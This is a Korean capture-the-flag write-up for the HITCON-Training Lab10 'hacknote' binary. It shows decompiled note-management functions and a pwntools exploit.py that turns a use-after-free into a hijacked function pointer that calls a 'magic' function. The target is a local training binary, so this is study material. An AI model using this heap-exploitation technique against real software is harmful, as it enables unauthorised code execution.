[HITCON-Training]Lab10
3가지 메뉴로 구성되어 있다. add, delete, print
add해주는 곳인데 처음에 malloc(8)로 함수포인터를 저장해놓는다. 그리고 뒤에서 원하는 사이즈만큼 할당하고 값을 쓸 수 있다.
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(20u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*(notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
여기서 free해주는데 2번 free해주게 된다.
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*(notelist[v1] + 1));
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
함수포인터로 함수를 실행시켜준다.
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
(*notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
*notelist[i]에 출력해주는 함수 포인터가 들어가는데 이 주소를 magic으로 덮어주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./hacknote')
p = process('./hacknote')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = e.symbols['magic']
def add_note(size,content):
sa(':','1')
sa(':',str(size))
sa(':',content)
def del_note(idx):
sa(':','2')
sa(':',str(idx))
def print_note(idx):
sa(':','3')
sa(':',str(idx))
def quit():
sa(':','4')
add_note(20,'AAAA')
add_note(20,'BBBB')
del_note(0)
del_note(1)
add_note(8,p64(magic))
print_note(0)
p.interactive()